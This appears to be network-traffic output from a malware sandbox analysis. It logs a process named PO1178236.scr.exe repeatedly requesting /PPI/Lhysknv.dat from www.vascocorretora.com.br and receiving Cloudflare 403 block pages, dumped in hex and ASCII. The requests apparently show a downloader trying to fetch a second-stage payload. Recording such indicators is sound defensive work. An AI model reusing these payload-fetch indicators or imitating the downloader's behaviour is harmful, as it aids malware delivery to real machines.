2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 3d 22 63 66 2d 73 65 63 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 Data Ascii: ="cf-section cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </di
2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 39 39 63 64 36 64 38 63 37 32 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 Data Ascii: nter sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b799cd6d8c72</strong></span> <span class="cf-footer-separat
2025-01-09 07:29:36 UTC	1012	IN	Data Raw: 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 39 39 63 64 36 64 38 63 37 32 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 69 34 77 4d 44 Data Ascii: script> window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b799cd6d8c72',t:'MTczNjQwNzc3Ni4wMD
2025-01-09 07:29:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50001	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:36 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:36 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YY1319A1yOeL3zSRR03Of%2BxmsOk2tK5%2BWyC67bISkNpY2WfTLwjwzoTkG%2BeIV5nrdbqxJ8MxGuTjCJHvsOHqQl0Y81WLMrNF0TxbjcWKSzfX%2FMSGwM9Ur1cbjYJlZBwsr3lEG2%2BAs%2F3jsLPu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b79d88021821-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1704&rtt_var=653&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1656267&cwnd=242&unsent_bytes=0&cid=1baa6017b780597a&ts=135&x=0"
2025-01-09 07:29:36 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:36 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 39 64 38 38 30 32 31 38 32 31 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b79d88021821</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:36 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 39 64 38 38 30 32 31 38 32 31 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b79d88021821',t:'MTczNjQwNzc3Ni4wMDAwMDA='}
2025-01-09 07:29:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50006	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:37 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:37 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YmSzk21asITFovby0oYmO5UIDcDFdPIYXCL0l3EGQ8CJ%2BQsfzStL0dHoGdlrKbwTOQypPz7PocCk1uz77G7TxBN%2Fa4yMBDk1ZpWZiNIEVDM1Xjcgz7BOUAIRJou6q%2BNb2cpgqjcfc%2FSEC5zE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7a15fea447a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&min_rtt=1588&rtt_var=609&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1778319&cwnd=232&unsent_bytes=0&cid=1bb7d913073ed81c&ts=162&x=0"
2025-01-09 07:29:37 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:37 UTC	1369	IN	Data Raw: 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 Data Ascii: flare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=de
2025-01-09 07:29:37 UTC	1369	IN	Data Raw: 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 Data Ascii: cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.cap
2025-01-09 07:29:37 UTC	1369	IN	Data Raw: 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 61 31 35 66 65 61 34 34 37 61 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e Data Ascii: -left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7a15fea447a</strong></span> <span class="cf-footer-separator sm:hidden
2025-01-09 07:29:37 UTC	1000	IN	Data Raw: 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 61 31 35 66 65 61 34 34 37 61 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 33 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 Data Ascii: ndow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7a15fea447a',t:'MTczNjQwNzc3Ny4wMDAwMDA='};var
2025-01-09 07:29:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50012	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:38 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:38 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=is7sL0I8epnR4k%2FA0jl%2BAxhoKsW7KYFtd2pGHyzh6qopwzUjGZYvOUBKq9Rmk83PeGXbPsv3oBUiIzvdg%2FcUB3emcRuNKtl2a1%2FQ2OKkw3SzLSlejssSIkksO0MQ%2BrPeI3BzqeNnjXKM9F3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7a51ffb7d0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2002&rtt_var=763&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1423001&cwnd=156&unsent_bytes=0&cid=02d8ab2c5792ed8e&ts=147&x=0"
2025-01-09 07:29:38 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:29:38 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 61 35 31 66 66 62 37 64 30 63 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 